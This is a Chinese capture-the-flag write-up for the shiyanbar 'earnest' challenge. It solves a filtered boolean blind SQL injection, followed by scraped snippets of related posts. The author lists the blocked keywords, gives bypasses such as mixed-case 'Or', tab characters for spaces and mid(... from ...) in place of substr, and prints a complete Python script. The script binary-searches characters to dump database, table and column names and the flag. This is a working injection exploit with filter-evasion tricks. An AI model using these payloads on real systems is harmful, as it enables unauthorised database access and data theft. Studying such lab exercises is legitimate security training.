實驗吧 認真一點!
真的很久很久沒碰過這個玩意了,真是不會了,而且這個題目本身就不是很容易,搞得我也是滿肚子邪火,很氣。這個題目主要難在它吧過濾和ban結合到了一起了。我們還是先看題目,首先拿到題目看到輸入id=0和輸入id=1結果不一樣,這就奠定了盲注的基礎了
然後我們肯定要fuzz一下,結果如下
禁了union、and、substr,sleep,堵住了時間盲注、聯合查詢注入的路子,而且還把逗號禁止了…這就麻煩了,肯定偏移要用from和offset什麼的了,猜測語句一定是類似這樣的
select flag from flag where id=輸入
然後進行測試發現規律
感謝出題人沒過濾單引號…然後我們構造
把我興奮了老半天心想這就完了?結果並並並不是!!!他喵的過濾了or…或一個方向就完蛋
然後我就迷茫了…最後發現可以用oorr或者Or代替就可
然後就任我行了,注意空格被幹掉了,用什麼%09替換掉即可,再往後information什麼倒是都沒禁掉,但是注意information中包含or,需要替換掉。寫一個二分盲註腳本即可,具體用到limit的offset偏移。然後它禁掉了substr,但是我們還有mid,用mid(table from offset)即可,剩下的直接看程式碼吧,我的程式碼很難看,我是一邊調一邊寫的,所以我也事後看不懂…看語句即可…
# -*- coding: utf-8 -*-
import requests
import urllib
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
temp = 0
headers = {
"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://ctf5.shiyanbar.com/web/earnest/index.php",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "81",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1"
}
def make_payload(target):
return target.replace(' ','%09').replace('or','Or')
def get_length(target): #獲取欄位長度
global headers
global url
for i in range(0,50):
print i
payload = target[:-5]+str(i)+target[-5:]
payload = urllib.unquote(make_payload(payload))
#print payload
data = {"id":payload,"submit":"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"}
content = requests.post(url=url,headers=headers,data=data).text
#print content
if "You are in" in content:
return i
return 0
def search2(l,r,target): #二分盲注嘍,求單位元組
if l>r:
return
global headers
global url
global temp
mid = (l+r)/2
payload = target[:-5]+str(mid)+target[-5:]
payload = urllib.unquote(make_payload(payload))
print payload
data = {"id":payload,"submit":"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"}
content = requests.post(url=url,headers=headers,data=data).text
if "You are in" in content:
temp = max(temp,mid)
search2(mid+1,r,target)
else:
search2(l,mid-1,target)
def get_content(column,table,offset,len,where,sign): #這麼多引數是為了構造payload
global temp
content = ''
for i in range(1,len+1):
temp = 0
if sign==0:
payload = "0'Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" limit 1 offset "+str(offset)+"))>=)Or'0"
else:
payload = "0'Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" "+str(where)+" limit 1 offset "+str(offset)+"))>=)Or'0"
search2(0,255,payload)
content+=chr(temp)
print content
return content
#--------獲取資料庫名--------
#payload = "0'Or(length((select schema_name from information_schema.schemata limit 1 offset 1))=)Or'0"
#len = get_length(payload) #18
#database = get_content('schema_name','information_schema.schemata',"1",18,0,0) #ctf_sql_bool_blind#test
#--------獲取表名--------
#payload = "0'Or(length((select table_name from information_schema.tables where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64 limit 1 offset 0))=)Or'0"
#len = get_length(payload) #4,5
#table = get_content('table_name','information_schema.tables',"0",4,'where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64',1) #fiag
#--------獲取列名--------
#payload = "0'Or(length((select column_name from information_schema.columns where table_name=0x66696167 limit 1 offset 0))=)Or'0"
#len = get_length(payload) #5
#column = get_content('column_name','information_schema.columns',"0",5,'where table_name=0x66696167',1) #fL$4G
#--------獲取欄位內容--------
#payload = "0'Or(length((select fL$4G from fiag limit 1 offset 0))=)Or'0"
#len = get_length(payload) #19
flag = get_content('fL$4G','fiag',"0",19,'0',0) #flag{haha~you win!}
有意思的題目,做出來很費勁…
相關推薦
實驗吧 認真一點!
真的很久很久沒碰過這個玩意了,真是不會了,而且這個題目本身就不是很容易,搞得我也是滿肚子邪火,很氣。這個題目主要難在它吧過濾和ban結合到了一起了。我們還是先看題目,首先拿到題目看到輸入id=0和輸入id=1結果不一樣,這就奠定了盲注的基礎了 然後我們肯定
認真一點!-實驗吧
這個題其實是個布林盲注題,怎麼說,正常是you are in,報錯是you are not in,觸發waf是sql injection detected然後fuzz一下,圖我就不貼了,做的時候忘了截下圖結果大概是過濾了and,空格,逗號,union,+這裡有個坑,fuzz的
IT從業者,生活精緻一點,工作認真一點!
chapter 8 I soon learned to know this flower better.On the little prince's planet the flowers had always been very simple.They had only o
實驗吧WP(web部分)【簡單的登入題,後臺登入,加了料的報錯注入,認真一點,你真的會PHP嗎?】
一. 簡單的登入題這道題一點也不簡單,用到cbc位元組翻轉攻擊等技術,先跳過這題,想了解可看這裡。二. 後臺登入http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php這道題給了一個登入框,第一反應是sql注入,提交了一個1上去後發現
實驗吧web題(26/26)全writeup!超詳細:)
替換 current repl tex 括號 註入 重定向 urn 其他 #簡單的SQL註入 http://www.shiyanbar.com/ctf/1875 1)試著在?id=1,沒有錯誤 2)試著?id=1‘,出錯了,有回顯,說明有註入點: You have an
實驗吧---隱寫術之男神一般都是很低調的!
今天更新一下實驗吧裡面的題目關於隱寫術的,希望能夠幫助到未來的學弟學妹的學習! 永遠愛你們的
實驗吧ctf題庫:這個看起來有點簡單!
這是一道十分基礎的web題目,因為我也是剛剛接觸ctf,記錄一下第一道題的解題過程,算是自己的一個回顧吧,同時也給一些想要入門的朋友一點點微弱的參考吧。一、sqlmap的安裝 在windows下安裝sqlmap需要先下載適用windows的sqlma
實驗吧 隱寫術 男神一般都很低調很低調的!!
題目連結:http://www.shiyanbar.com/ctf/1926 題目的提示真的是良心啊,連用什麼工具都給你說了。 首先從解題連結裡下一個zip,解壓開啟便是兩張圖片,乍一看,兩張圖片是
每天進步一點! 致每個人!
nbsp 每天 感覺 思考 時間 目的 bsp 一點 個人 不要盲目的去行動!這樣總感覺時間不夠! 看完後的思考, 思考後的選擇, 選擇之後的行動才有價值!
實驗吧 貌似有點難 偽造ip
ons tar 得到 alt ont bsp targe fcm -h 解題鏈接: http://ctf5.shiyanbar.com/phpaudit/ 解答: 點擊View the source code —>代碼顯示IP為1.1.1.1即可得到KEY—>
實驗吧 burpsuie攔截修改請求
頁面 orm spa asi alt image size str style Forbidden 解題鏈接: http://ctf5.shiyanbar.com/basic/header/ 把language改成zh-hk,go,flag到手 Forms 題目地址:h
實驗吧delecms綜合滲透
滲透環境說明: 名字:網站綜合滲透_dedecms 環境:目標機:192.168.1.3 織夢cms開始滲透:網站首頁:先去後臺看看。看看默認後臺dede在不在,答案是存在的,如下圖得到key2:得到了後臺,但是不知道密碼,但是覺得這種實驗環境後臺密碼應該都是弱口令於是試了一下賬號:
【實驗吧】藏在圖片中的秘密
src 一個 .com images 打開 mis 數字 lag image 如圖用winhex打開發現是壓縮文件: 將壓縮部分分離出來形成壓縮包,解壓時發現需要密碼輸入,又根據圖中給的算出對應的字符(需要把圖倒過來看):發現解壓密碼是XZY[ 解壓後是一個文本
實驗吧編程題找素數
prime 實驗 app clas pre code print urn list python實現找素數 原題目:設一個等差數列,首元素為367,公差為186, 現在要求找出屬於該等差數列中的第151個素數並輸出。 代碼: 1 def prime(a): 2
實驗吧編程題:字典
replace cti 分鐘 nbsp python line open pytho ict python編程實現 原題:包含ctf的單詞的總字符有多少? 代碼: 1 list = [] 2 for line in open(‘dictionary/dictionary.
實驗吧編程題:百米
-c 第一次用 列表 color entry 網頁 www php -1 第一次用python寫關於表單自動提交的程序,不是特別簡練 題目是這樣的: 經過觀察,只有數字是變動的,運算符是不變的,這就容易很多了 思路: 抓取網頁內容 通過正則表達式提取數字內容 通過特定的
實驗吧編程題:雙基回文數
。。 進位 return for str print == 兩個 至少 原題: 計算大於正整數1600000的最小雙基回文數 格式:CTF{ } 雙基回文數:如果一個正整數n至少在兩個不同的進位制b1和b2下都是回文數(2<=b1,b2<=10),則稱n 是雙基
實驗吧編程題:Hashkill
island pen log lan iges col lag 下劃線 spa 原題:6ac66ed89ef9654cf25eb88c21f4ecd0是flag的MD5碼,(格式為ctf{XXX_XXXXXXXXXXX_XXXXX})由一個0-1000的數字,下劃線,紐約的
【筆記】如何查看HTTP請求頭&&【實驗吧】天下武功唯快不破
mage key 經驗 int .com images 有一個 work 數據 打開Chrome瀏覽器,點擊右上角“三”按鈕。 點擊工具-----再點擊開發者工具 找到Network選項框。以百度經驗頁面為例,點擊任務選框來查看網絡請求流 在N
【實驗吧】Once More&&【筆記】 PHP 函數漏洞總結
a-z != 百度 col tail alt strlen() 分享 style <?php if (isset ($_GET[‘password‘])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) ==